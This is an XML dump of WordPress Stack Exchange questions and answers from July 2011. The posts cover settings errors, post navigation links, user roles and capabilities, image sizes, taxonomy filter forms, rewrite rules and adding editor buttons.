  <row Id="21760" PostTypeId="2" ParentId="21702" CreationDate="2011-07-02T06:24:46.327" Score="1" ViewCount="" Body="&lt;p&gt;Thanks Chip (&lt;em&gt;excellent Settings API tutorial&lt;/em&gt;) and t31os (&lt;em&gt;great snippet of code for quick testing&lt;/em&gt;) for both your suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some further digging and found that the default messages can indeed be displayed if I hook into any menu but only if the function &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/settings_errors&quot; rel=&quot;nofollow&quot;&gt;settings_errors()&lt;/a&gt; is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, modifying t31os code as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;  &amp;lt;?php screen_icon('index'); ?&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Test&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;?php settings_errors(); ?&amp;gt;&#xA;  &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom error messages can also be added by calling the &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/add_settings_error&quot; rel=&quot;nofollow&quot;&gt;add_settings_error()&lt;/a&gt; function for displaying success or failure message by specifying the &lt;code&gt;$type&lt;/code&gt; parameter as either 'error' or 'updated'.&lt;/p&gt;&#xA;" OwnerUserId="6667" LastEditorUserId="6667" LastEditorDisplayName="" LastEditDate="2011-07-02T07:31:43.607" LastActivityDate="2011-07-02T07:31:43.607" CommentCount="1" />
  <row Id="21761" PostTypeId="2" ParentId="21726" CreationDate="2011-07-02T07:09:15.937" Score="0" ViewCount="" Body="&lt;p&gt;Here is another fantastic plugin for adding custom taxonomies to the media library:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/media-tags/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;http://wordpress.org/extend/plugins/media-tags/&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-07-02T07:09:15.937" />
  <row Id="21762" PostTypeId="2" ParentId="10314" CreationDate="2011-07-02T07:10:18.897" Score="0" ViewCount="" Body="&lt;p&gt;Actually there is nothing problem with the theme. I had to create at-least one 'status'  before posting a ticket/post and change the Permalink settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the bugs reported by other users about this theme might have occurred with modified  Permalink settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2011-07-02T07:10:18.897" />
  <row Id="21763" PostTypeId="1" CreationDate="2011-07-02T08:18:23.123" Score="0" ViewCount="86" Body="&lt;p&gt;how can I disable &quot;previous link&quot; in first post and &quot;next link&quot; in last post?&#xA;thank you&lt;/p&gt;&#xA;" OwnerUserId="6368" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-02T09:49:50.697" LastActivityDate="2011-08-02T06:36:50.220" Title="Disable &quot;previous link&quot; in first post and &quot;next link&quot; in last post" Tags="&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21764" PostTypeId="2" ParentId="17905" CreationDate="2011-07-02T08:38:15.267" Score="-1" ViewCount="" Body="&lt;p&gt;If you've never built a plugin before, and you're planning on releasing one to the WordPress repository, then you're going to have a hard enough time fixing all of your WP bugs to even worry about WPMU compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go with WP first and learn it inside and out. Then you can start learning about what makes a WPMU plugin different from a WP one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A WP plugin is a plugin that is incompatible with WP Multi-sites. There's actually a lot of things that you need to understand about plugins to even begin to understand the WPMU dev requirements that you'll face.&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2011-07-02T08:38:15.267" CommentCount="3" />
  <row Id="21765" PostTypeId="1" CreationDate="2011-07-02T09:04:04.947" Score="1" ViewCount="83" Body="&lt;p&gt;When I want to redirect the user after successful registration, I just use &quot;registration_redirect&quot; filter hook. How about when registration fails, which filter hook should I use? I looked into wp-login.php but I didn't see any filter/action hook that I could use. How do I go about this?&lt;/p&gt;&#xA;" OwnerUserId="6232" LastEditorUserId="6232" LastEditorDisplayName="" LastEditDate="2011-07-02T16:36:18.597" LastActivityDate="2011-07-02T16:36:18.597" Title="Redirect to custom url when registration fails?" Tags="&lt;redirect&gt;&lt;registration&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" />
  <row Id="21767" PostTypeId="2" ParentId="21763" CreationDate="2011-07-02T10:13:52.443" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php next_post_link('format', 'link', 'in_same_cat', 'excluded_categories'); ?&amp;gt; &#xA;&#xA;&amp;lt;?php previous_post_link($format, $link, $in_same_cat = false, $excluded_categories = ''); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-02T11:40:52.730" LastActivityDate="2011-07-02T11:40:52.730" CommentCount="4" />
  <row Id="21768" PostTypeId="1" CreationDate="2011-07-02T11:06:41.770" Score="1" ViewCount="114" Body="&lt;p&gt;I'm currently using some JS to pop open the WordPress Media Library in a thickbox container and return the URL of a selected image, then display it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.send_to_editor = function(html) {&#xA;    imgurl = jQuery('img',html).attr('src');&#xA;    jQuery('#upload_image-' + id_to_pass).val(imgurl);&#xA;&#xA;    output_code = '&amp;lt;img class=&quot;media_display&quot; src=&quot;' + imgurl + '&quot; /&amp;gt;';&#xA;    jQuery(output_code).appendTo('#media_display-' + id_to_pass);&#xA;&#xA;    tb_remove();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it's possible to return the attachment ID instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use the image's description and caption fields, which I won't be able to do (easily) if I can only access the image URL from the Media Library.&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-07-02T13:31:49.737" Title="Using the WordPress Media Library and returning the Attachment ID rather than URL?" Tags="&lt;jquery&gt;&lt;media-library&gt;&lt;thickbox&gt;" AnswerCount="1" />
  <row Id="21769" PostTypeId="1" CreationDate="2011-06-30T12:16:12.080" Score="0" ViewCount="142" Body="&lt;p&gt;I am creating a plugin to add some javascript to Wordpress's theme header and footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing this through the following wordpress hooks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add action(wp_head,function_name)&#xA;add action(wp_footer,function_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However my plugin can't add script if the clients theme does not have &lt;code&gt;wp_head()&lt;/code&gt; and &lt;code&gt;wp_footer()&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any possibility that I can use &lt;code&gt;if-else&lt;/code&gt; in my plugin to check to see if the client's theme has &lt;code&gt;wp_head()&lt;/code&gt; and &lt;code&gt;wp_footer()&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there any possibilty to add my javascript before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag&#xA;without using &lt;code&gt;wp_head&lt;/code&gt; and &lt;code&gt;wp_footer&lt;/code&gt; hooks.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-01T21:25:17.513" Title="wordpress check wp_head and wp_footer" Tags="&lt;plugins&gt;" AnswerCount="4" />
  <row Id="21770" PostTypeId="2" ParentId="21769" CreationDate="2011-06-30T14:40:27.017" Score="0" ViewCount="" Body="&lt;p&gt;using something like : wp_enqueue_script('jquery');&lt;/p&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2011-06-30T14:40:27.017" CommentCount="4" />
  <row Id="21771" PostTypeId="2" ParentId="21769" CreationDate="2011-07-01T14:25:27.587" Score="-2" ViewCount="" Body="&lt;p&gt;Why not try using:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;    if(function_exists('wp_head')) {&#xA;    //do something&#xA;    }else{&#xA;    //something else&#xA;    }&#xA;&lt;/blockquote&gt;&#xA;" LastActivityDate="2011-07-01T14:30:36.677" CommentCount="2" />
  <row Id="21772" PostTypeId="2" ParentId="21743" CreationDate="2011-07-02T12:22:36.550" Score="0" ViewCount="" Body="&lt;p&gt;You can use the &lt;code&gt;$post-&amp;gt;post_author&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so before your loop add &lt;code&gt;$agent = '';&lt;/code&gt; then inside the loop add &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$agent = $post-&amp;gt;post_author;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then create a second query after you loop ends:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$agent_query = NEW WP_Query(array('post_type' =&amp;gt; 'agent', 'author' =&amp;gt; $agent));&#xA;while ($agent_query-&amp;gt;have_posts()){&#xA; $agent_query-&amp;gt;the_post();&#xA; //do your agent loop here&#xA;}&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-02T15:43:31.560" LastActivityDate="2011-07-02T15:43:31.560" CommentCount="10" />
  <row Id="21774" PostTypeId="1" AcceptedAnswerId="21776" CreationDate="2011-07-01T19:11:46.243" Score="1" ViewCount="52" Body="&lt;p&gt;Is it possible to let a non-admin user (e.g an editor / author or another role) manage the users? I am working on a Wordpress website where multiple people manage the website, and there will be someone who must be able to manage the users, but does not need access to all the admin features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-02T12:48:35.027" Title="Wordpress manage users as non admin" Tags="&lt;admin&gt;" AnswerCount="3" />
  <row Id="21775" PostTypeId="2" ParentId="21774" CreationDate="2011-07-01T19:59:38.550" Score="1" ViewCount="" Body="&lt;p&gt;Yes, this is very possible and quite simple.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will want to use the &lt;a href=&quot;http://agapetry.net/news/introducing-role-scoper/&quot; rel=&quot;nofollow&quot;&gt;RoleScoper plugin&lt;/a&gt; to enable extra permissions for the &quot;Editor&quot; role or even create an entirely new Role to manage users.  It's a very easy plugin to use and well-documented on its web site.&lt;/p&gt;&#xA;" OwnerUserId="6146" LastActivityDate="2011-07-01T19:59:38.550" />
  <row Id="21776" PostTypeId="2" ParentId="21774" CreationDate="2011-07-01T20:09:54.597" Score="2" ViewCount="" Body="&lt;p&gt;First off, there is no generic &quot;manage users&quot; ability. There are several individual abilities under that rubric. See &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you have a couple options.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can add certain capabilities to existing users or&lt;/li&gt;&#xA;&lt;li&gt;you can create a new custom role with the capabilities you need.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If a brand new role is needed, one can be created using add_role() and add_cap():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$role = add_role('foo_doer', 'Foo Doer');&#xA;&#xA;$role-&amp;gt;add_cap('do_foo');&#xA;&#xA;$role-&amp;gt;add_cap('do_bar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to manipulate a user specifically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get user by user ID&#xA;$user = new WP_User( $id );&#xA;&#xA;// or get user by username&#xA;$user = new WP_User( null, $name )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add $cap capability to this role object&#xA;$role_object-&amp;gt;add_cap( $capability_name );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the basics. A full and elegant rundown is here: &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-07-01T20:27:10.827" CommentCount="7" />
  <row Id="21777" PostTypeId="2" ParentId="21774" CreationDate="2011-07-01T20:12:17.113" Score="2" ViewCount="" Body="&lt;p&gt;Yes, that is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a user to be able to see the list of other users in &lt;em&gt;wp-admin&lt;/em&gt;, he or she needs the &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;capability&lt;/a&gt; &lt;em&gt;list_users&lt;/em&gt;, to be able to edit existing profiles, he or she needs &lt;em&gt;edit_users&lt;/em&gt;, to add new ones &lt;em&gt;add_users&lt;/em&gt; and to delete old ones &lt;em&gt;delete_users&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For managing a site with multiple specific user roles that need to have certain capabilities and not to have others, I highly recommend using a mixture of two plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;Adminimize&lt;/a&gt; gives you control over what part of the admin interface is shown to what role&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; lets you edit the capabilities of a specific role and add new roles as needed&lt;/p&gt;&#xA;" LastActivityDate="2011-07-01T20:12:17.113" />
  <row Id="21778" PostTypeId="2" ParentId="21769" CreationDate="2011-07-02T13:00:44.747" Score="3" ViewCount="" Body="&lt;p&gt;To determine the existence of these template tag calls, you'd have to read the contents of the current Theme's &lt;code&gt;header.php&lt;/code&gt; and &lt;code&gt;footer.php&lt;/code&gt; template files (and probably &lt;code&gt;index.php&lt;/code&gt;, too, just for good measure, to cover the oddball Themes), and look for the template tag call string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that really doesn't get you anywhere, because without the existence of those template tags, you have no way of injecting content into the document head or footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Theme that doesn't call &lt;code&gt;wp_head()&lt;/code&gt; and &lt;code&gt;wp_footer()&lt;/code&gt; has far bigger problems, though; they are essential to core functionality at this point.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-02T13:00:44.747" CommentCount="1" />
  <row Id="21779" PostTypeId="1" AcceptedAnswerId="21788" CreationDate="2011-07-02T13:26:51.163" Score="0" ViewCount="54" Body="&lt;p&gt;I've set up a custom post type called 'properties'. These posts can be tagged with the custom taxonomies of 'area' and 'university'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to have a form with a drop-down for each tag. When the form is submitted I would like to go to the URL that displays the archive of those tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two questions really:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the URL that will return the correct posts?&lt;/li&gt;&#xA;&lt;li&gt;How do you construct that URL with a form?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For some reason I thought that this would be really easy but I just can't find a way to do it. Any help is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6681" LastActivityDate="2011-07-03T09:26:02.667" Title="How to go to tag archives using a form" Tags="&lt;query-posts&gt;&lt;tags&gt;&lt;urls&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="21780" PostTypeId="2" ParentId="21768" CreationDate="2011-07-02T13:31:49.737" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at this &lt;a href=&quot;http://sltaylor.co.uk/blog/hijacking-the-wordpress-media-library-overlay/&quot; rel=&quot;nofollow&quot;&gt;http://sltaylor.co.uk/blog/hijacking-the-wordpress-media-library-overlay/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-02T13:31:49.737" CommentCount="1" />
  <row Id="21781" PostTypeId="1" AcceptedAnswerId="21783" CreationDate="2011-07-02T14:05:08.680" Score="0" ViewCount="43" Body="&lt;p&gt;I'm developing a theme for a customer in which i need several versions of the same image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my functions.php file i've added all the image sizes i need. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_theme_support' ) ) { &#xA;  add_theme_support( 'post-thumbnails' ); &#xA;}&#xA;if ( function_exists( 'add_image_size' ) ) {&#xA;    add_image_size('frontpage-post-thumbnail', 192, 192,true );&#xA;    add_image_size('listing-post-thumbnail', 670, 290,true );&#xA;    add_image_size('preview-post-thumbnail', 640, 640,true );&#xA;    add_image_size('preview-onepost-thumbnail', 480, 480,true );&#xA;    add_image_size('preview-twopost-thumbnail', 240, 240,true );&#xA;    add_image_size('page-single-thumbnail', 160,9999, false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, in my archive.php template, i need the &quot;listing-post-thumbnail&quot; version, but wordpress uses the original image instead. I've checked and the 670x290 version of the image exists in the same folder as the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code in archive.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;figure&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Access node: &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;                         &amp;lt;?php echo get_the_post_thumbnail($id, array(670,290)); ?&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/figure&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-07-02T14:41:49.533" Title="custom image size not being fetched" Tags="&lt;post-thumbnails&gt;&lt;add-image-size&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="21782" PostTypeId="2" ParentId="21781" CreationDate="2011-07-02T14:11:32.453" Score="0" ViewCount="" Body="&lt;p&gt;Maybe this is a way too obvious, but have you tried calling your size by name?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_post_thumbnail($id, 'listing-post-thumbnail'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-07-02T14:11:32.453" CommentCount="1" />
  <row Id="21783" PostTypeId="2" ParentId="21781" CreationDate="2011-07-02T14:41:49.533" Score="1" ViewCount="" Body="&lt;p&gt;It turns out WP got confused because i used the settings&gt; medias screen to also set the &quot;medium&quot; dimensions to 670x290. This redundance seems to disable entirely both the &quot;medium&quot; and the &quot;listing-post-thumbnail&quot; dimensions. Replacing the medium dimension values to 0 and then regenerating the thumbnails solved the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to those who tried to help!&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-07-02T14:41:49.533" />
  <row Id="21784" PostTypeId="2" ParentId="18804" CreationDate="2011-07-02T14:57:05.937" Score="0" ViewCount="" Body="&lt;p&gt;very hard to say exactly where it is dying.  i used to try to handle my own theme options, but now there are so many good plugins that handle all the hard parts for me i can just focus on actually creating the options i need for my clients.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm partial to Devin Price's Options Framework:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/options-framework/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/options-framework/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i've heard good things about OptionTree and Fitr&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/theme-options&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tags/theme-options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just a suggestion, sorry i couldn't help more.&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-02T14:57:05.937" />
  <row Id="21785" PostTypeId="2" ParentId="21700" CreationDate="2011-07-02T15:33:43.643" Score="0" ViewCount="" Body="&lt;p&gt;Do you have the correct capitalization for the filename?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These rules basically say that if the file exists, serve it instead of going on to the WordPress rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That says if the requested file is a file that exists or if it's a directory that exists, then do no rewrite, and stop processing ([L] = Last rule). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you must have the filename wrong in some fashion, because if the file existed with the given name, then this rule forces it to serve it up properly.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-02T15:33:43.643" CommentCount="2" />
  <row Id="21786" PostTypeId="2" ParentId="21736" CreationDate="2011-07-02T15:50:57.740" Score="0" ViewCount="" Body="&lt;p&gt;You can log a user in securely by simply calling wp_signon with the proper credentials. This has to be done before any output is produced, so that WP can set the users cookie properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$user = wp_signon(array('user_login'=&amp;gt;'example', 'user_password' = &amp;gt; 'swordfish'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will do a proper login from the front end of the site, set cookies, and return the user object. Then you can set the $commentdata['user_id'] = $user-&gt;ID and return, and the comment will be dealt with accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An auth failure will make that return a WP_Error object instead, so use is_wp_error on the result to see if it's a WP_Error or a WP_User object that you get back.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-02T15:50:57.740" />
  <row Id="21787" PostTypeId="1" AcceptedAnswerId="21789" CreationDate="2011-07-02T16:26:46.927" Score="0" ViewCount="65" Body="&lt;p&gt;I'd like to add a button the the WordPress editor's toolbar. When clicked, I want to open a modal dialog (exactly like what you get when you click the &quot;Paste from Word&quot; icon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be more than one question, so the first question I have is what code to I need to add to my theme's functions.php to place the button with a click event that opens a modal window similar to the Word dialog?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-02T17:32:15.473" Title="How can I add a custom button to the post editor toolbar?" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21788" PostTypeId="2" ParentId="21779" CreationDate="2011-07-02T16:55:01.730" Score="0" ViewCount="" Body="&lt;p&gt;To understand how to do it you first need to know how the url query works or more specifically what query vars you need, so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;'post_type'&lt;/code&gt; -  to filter by post&#xA;types.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'area'&lt;/code&gt; - to filter by area&#xA;taxonomy.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'university'&lt;/code&gt; - to filter by&#xA;university taxonomy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so your url would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//   http://www.domain.com/?post_type=properties&amp;amp;area=area_term&amp;amp;university=university_term&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we know we create the form with the needed fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_area_university_filter_form(){&#xA;?&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;area_t&quot;&amp;gt;Area: &amp;lt;/label&amp;gt; &amp;lt;select name=&quot;area_t&quot;&amp;gt;&amp;lt;option value=&quot;&quot;&amp;gt;Select Area:&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php &#xA;        $area_terms =  get_categories('taxonomy=area'); &#xA;        if (isset($_POST['area_t'])){&#xA;            foreach ($area_terms as $term) {&#xA;                $option = '&amp;lt;option value=&quot;'.$term-&amp;gt;slug.'&quot;';&#xA;                if ($_POST['area_t'] == $term-&amp;gt;slug){&#xA;                    $option.= ' selected=&quot;selected&quot;';&#xA;                }&#xA;                $option .= '&amp;gt;'.$term-&amp;gt;name;&#xA;                $option .= '&amp;lt;/option&amp;gt;';&#xA;                echo $option;&#xA;            }&#xA;        }else{&#xA;            foreach ($area_terms as $term) {&#xA;                $option = '&amp;lt;option value=&quot;'.$term-&amp;gt;slug.'&quot;';&#xA;                $option .= '&amp;gt;'.$term-&amp;gt;name;&#xA;                $option .= '&amp;lt;/option&amp;gt;';&#xA;                echo $option;&#xA;            }&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;area_t&quot;&amp;gt;University: &amp;lt;/label&amp;gt; &amp;lt;select name=&quot;area_t&quot;&amp;gt;&amp;lt;option value=&quot;&quot;&amp;gt;Select University:&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php &#xA;        $uni_terms =  get_categories('taxonomy=university'); &#xA;        if (isset($_POST['univer'])){&#xA;            foreach ($uni_terms as $term) {&#xA;                $option = '&amp;lt;option value=&quot;'.$term-&amp;gt;slug.'&quot;';&#xA;                if ($_POST['univer'] == $term-&amp;gt;slug){&#xA;                    $option.= ' selected=&quot;selected&quot;';&#xA;                }&#xA;                $option .= '&amp;gt;'.$term-&amp;gt;name;&#xA;                $option .= '&amp;lt;/option&amp;gt;';&#xA;                echo $option;&#xA;            }&#xA;        }else{&#xA;            foreach ($uni_terms as $term) {&#xA;                $option = '&amp;lt;option value=&quot;'.$term-&amp;gt;slug.'&quot;';&#xA;                $option .= '&amp;gt;'.$term-&amp;gt;name;&#xA;                $option .= '&amp;lt;/option&amp;gt;';&#xA;                echo $option;&#xA;            }&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;custom_filter&quot; value=&quot;area_uni&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then all that is left is just processing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['submit']) &amp;amp;&amp;amp; isset($_POST['custom_filter']) &amp;amp;&amp;amp; $_POST['custom_filter'] == &quot;area_uni&quot;){&#xA;    $url =  get_bloginfo('url');&#xA;    $area = $uni = '';&#xA;    if (isset($_POST['area_t'])){&#xA;        $area = '&amp;amp;area='.$_POST['area_t'];&#xA;    }&#xA;    if (isset($_POST['univer'])){&#xA;        $uni = '&amp;amp;university='.$_POST['univer'];&#xA;    }&#xA;&#xA;    $url .= '/?post_type=properties'.$area.$uni;&#xA;&#xA;    wp_redirect( $url );&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="6681" LastEditorDisplayName="" LastEditDate="2011-07-03T09:26:02.667" LastActivityDate="2011-07-03T09:26:02.667" CommentCount="3" />
  <row Id="21789" PostTypeId="2" ParentId="21787" CreationDate="2011-07-02T16:59:52.053" Score="1" ViewCount="" Body="&lt;p&gt;Here is a nice tutorial I've read  &lt;a href=&quot;http://www.garyc40.com/2010/03/how-to-make-shortcodes-user-friendly/&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/03/how-to-make-shortcodes-user-friendly/&lt;/a&gt;&#xA;He as a great example and you cal also download the source files and get a better understanding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's how I added a custom button to the tinymce editor in my &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-simple-toc/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;plugin simple TOC&lt;/strong&gt;&lt;/a&gt; which you can also download , look at the code and get an even better understanding.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-02T16:59:52.053" />
